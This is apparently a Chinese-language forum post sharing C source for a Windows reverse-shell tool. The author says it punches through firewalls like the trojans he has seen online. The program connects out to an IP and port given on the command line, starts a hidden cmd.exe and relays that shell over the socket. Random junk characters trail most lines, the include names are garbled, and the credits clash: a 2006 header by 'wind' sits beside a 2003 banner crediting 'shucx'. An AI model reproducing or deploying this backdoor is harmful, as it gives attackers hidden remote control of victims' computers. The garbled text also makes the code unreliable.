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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #`fT%'T!  
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/* ============================== "/'= gE  
Rebound port in Windows NT L,D>E  
By wind,2006/7 /r%+hS  
===============================*/ ~+np7  
#include ". 0W8=  
#include H\k5B_3OU  
72,iRH  
#pragma comment(lib,"wsock32.lib") y%,BDyK  
:9YQX(l8  
void OutputShell(); c~'kW`sNV  
SOCKET sClient; @iRVY|t/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1}uDgz^  
c'B"Onu@m*  
void main(int argc,char **argv) "n6Y^  
{ J7_H.RPa  
WSADATA stWsaData; !:t9{z{Ixg  
int nRet; |i`@!NrFL  
SOCKADDR_IN stSaiClient,stSaiServer; ;gMh]$|"  
"P{&UwMmh  
if(argc != 3) Xdq, =;  
{ *YtNt5u  
printf("Useage:\n\rRebound DestIP DestPort\n");  B~NC  
return; ~/U0S.C  
} O%&@WrFq  
dvD<>{U,8  
WSAStartup(MAKEWORD(2,2),&stWsaData); LbR-uc?x  
WNb$2q=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZYsFd_  
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stSaiClient.sin_family = AF_INET; >&&xJ5  
stSaiClient.sin_port = htons(0); UYQ$c }Z5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pp/{keEye  
'/H(,TM  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AVr!e   
{ jVINc=o  
printf("Bind Socket Failed!\n"); rxK0<pWJhx  
return; (OqJet2{+  
} X4$e2f  
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stSaiServer.sin_family = AF_INET; gHx-m2N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x3s^u~C)(w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +I<Sq_-  
faq K D:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #FB>}:L{h*  
{ [!&k?.*;<  
printf("Connect Error!"); A,{D9-%  
return; xiF%\#N  
} .NT&>X~.V  
OutputShell(); zcKC5vqb  
} lAk1ncx  
i'wF>EBz  
void OutputShell() ?X'* p<`  
{ ?i~/gjp  
char szBuff[1024]; 8q3TeMYV  
SECURITY_ATTRIBUTES stSecurityAttributes; hzLGmWN2j8  
OSVERSIONINFO stOsversionInfo; 2 mZ/ 3u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wP/9z(US  
STARTUPINFO stStartupInfo; RC(D=6+[C  
char *szShell; y^=oYL  
PROCESS_INFORMATION stProcessInformation; *?D2gaCta  
unsigned long lBytesRead; 5S]P#8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); : xZC7"  
aELT"b,x  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h!K2F~i{P  
stSecurityAttributes.lpSecurityDescriptor = 0; ^qx\e$R  
stSecurityAttributes.bInheritHandle = TRUE; a{*'pY(R0$  
g&T Cff  
z,|%? 1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rhTk}2@h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r$FM8$cJ  
z[%v _S  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |V\.[F2Fe  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *'YNRM\}  
stStartupInfo.wShowWindow = SW_HIDE; 1ckw[0d  
stStartupInfo.hStdInput = hReadPipe; #L.}CzAz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !2| `aa  
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GetVersionEx(&stOsversionInfo); ?ev G=S4>  
.p9h$z^  
switch(stOsversionInfo.dwPlatformId) )m8>w6"  
{ rp#*uV9;  
case 1: wmE,k1G  
szShell = "command.com"; R0mT/h2  
break; \~t~R q  
default: '1'1T5x~  
szShell = "cmd.exe"; 9! HMQ  
break; bM^A9BxD  
} \a2oM$PX  
GFdJFQio  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }8M`2HMFR  
kQd[E-b7  
send(sClient,szMsg,77,0); S1juAV=  
while(1) k^5R f  
{ ""'eTpe  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2{kfbm-89t  
if(lBytesRead) u7zB9iQ&  
{ SE )j}go  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tc <M]4-  
send(sClient,szBuff,lBytesRead,0); \G=R hx f  
} |ak C  
else (l8r>V  
{ [l%fL9  
lBytesRead=recv(sClient,szBuff,1024,0); /B@% pq  
if(lBytesRead<=0) break; ~wf~b zs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _@pf1d$  
} kqigFcz!Y  
} x]><}! \<&  
oB06{/6  
return; 0/P-> n~  
}
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